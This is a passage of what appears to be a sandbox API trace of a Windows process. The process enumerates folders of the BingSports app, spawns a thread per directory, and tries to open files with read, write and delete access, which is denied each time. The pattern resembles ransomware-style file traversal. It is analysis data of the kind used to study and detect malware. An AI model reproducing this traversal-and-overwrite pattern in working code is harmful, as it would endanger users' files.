	[0079.113] wcscpy (in: _Dest=0x47eb078, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.113] wcscat (in: _Dest=0x47eb078, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.113] wcscat (in: _Dest=0x47eb078, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0079.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4
	[0079.114] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.114] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.114] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eab0
	[0079.114] wcscpy (in: _Dest=0x477eab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0079.114] wcscat (in: _Dest=0x477eab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0079.114] wcscat (in: _Dest=0x477eab0, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0079.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477eab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8
	[0079.115] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.115] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70068) returned 1
	[0079.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1

Thread:
	id = 688
	os_tid = 0x19ec

	[0079.116] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0079.117] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.117] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.117] GetLastError () returned 0x5
	[0079.117] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44de0) returned 1

Thread:
	id = 689
	os_tid = 0x19f0

	[0079.118] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd")) returned 0x20
	[0079.119] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.119] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.119] GetLastError () returned 0x5
	[0079.119] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.119] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3ba20) returned 1

Thread:
	id = 690
	os_tid = 0x19f4

	[0079.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6feb8
	[0079.120] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.120] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.120] wcscat (in: _Dest=0x2d6feb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*"
	[0079.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c5add, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.121] wcscmp (_String1=".", _String2=".") returned 0
	[0079.121] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c5add, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.121] wcscmp (_String1="..", _String2=".") returned 1
	[0079.121] wcscmp (_String1="..", _String2="..") returned 0
	[0079.121] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 1
	[0079.121] wcscmp (_String1="Personalization", _String2=".") returned 1
	[0079.121] wcscmp (_String1="Personalization", _String2="..") returned 1
	[0079.121] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752d08
	[0079.121] wcscpy (in: _Dest=0x4752d08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.121] wcscat (in: _Dest=0x4752d08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.121] wcscat (in: _Dest=0x4752d08, _Source="Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0079.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4752d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc
	[0079.122] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0079.122] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0079.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f138) returned 1

Thread:
	id = 691
	os_tid = 0x19f8

	[0079.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6f138
	[0079.123] wcscpy (in: _Dest=0x2d6f138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.123] wcscat (in: _Dest=0x2d6f138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.123] wcscat (in: _Dest=0x2d6f138, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*"
	[0079.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.124] wcscmp (_String1=".", _String2=".") returned 0
	[0079.124] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.124] wcscmp (_String1="..", _String2=".") returned 1
	[0079.124] wcscmp (_String1="..", _String2="..") returned 0
	[0079.124] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.124] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.124] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0079.124] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.124] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.124] wcscat (in: _Dest=0x477eb90, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0079.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477eb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0
	[0079.125] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.125] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.125] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.125] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f138) returned 1
	[0079.125] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca070) returned 1

Thread:
	id = 692
	os_tid = 0x19fc

	[0079.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eb258
	[0079.126] wcscpy (in: _Dest=0x47eb258, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0079.126] wcscat (in: _Dest=0x47eb258, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0079.126] wcscat (in: _Dest=0x47eb258, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0079.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608775e5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa743364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.129] wcscmp (_String1=".", _String2=".") returned 0
	[0079.129] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608775e5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa743364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.129] wcscmp (_String1="..", _String2=".") returned 1
	[0079.129] wcscmp (_String1="..", _String2="..") returned 0
	[0079.129] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608775e5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa743364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.129] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb258) returned 1
	[0079.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3bcf0) returned 1

Thread:
	id = 693
	os_tid = 0x1a00

	[0079.127] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini")) returned 0x20
	[0079.130] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.130] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.130] GetLastError () returned 0x5
	[0079.130] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d6e8) returned 1

Thread:
	id = 694
	os_tid = 0x1a04

	[0079.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ea200
	[0079.131] wcscpy (in: _Dest=0x47ea200, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.131] wcscat (in: _Dest=0x47ea200, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.131] wcscat (in: _Dest=0x47ea200, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*"
	[0079.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa743cf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.132] wcscmp (_String1=".", _String2=".") returned 0
	[0079.132] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa743cf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.132] wcscmp (_String1="..", _String2=".") returned 1
	[0079.132] wcscmp (_String1="..", _String2="..") returned 0
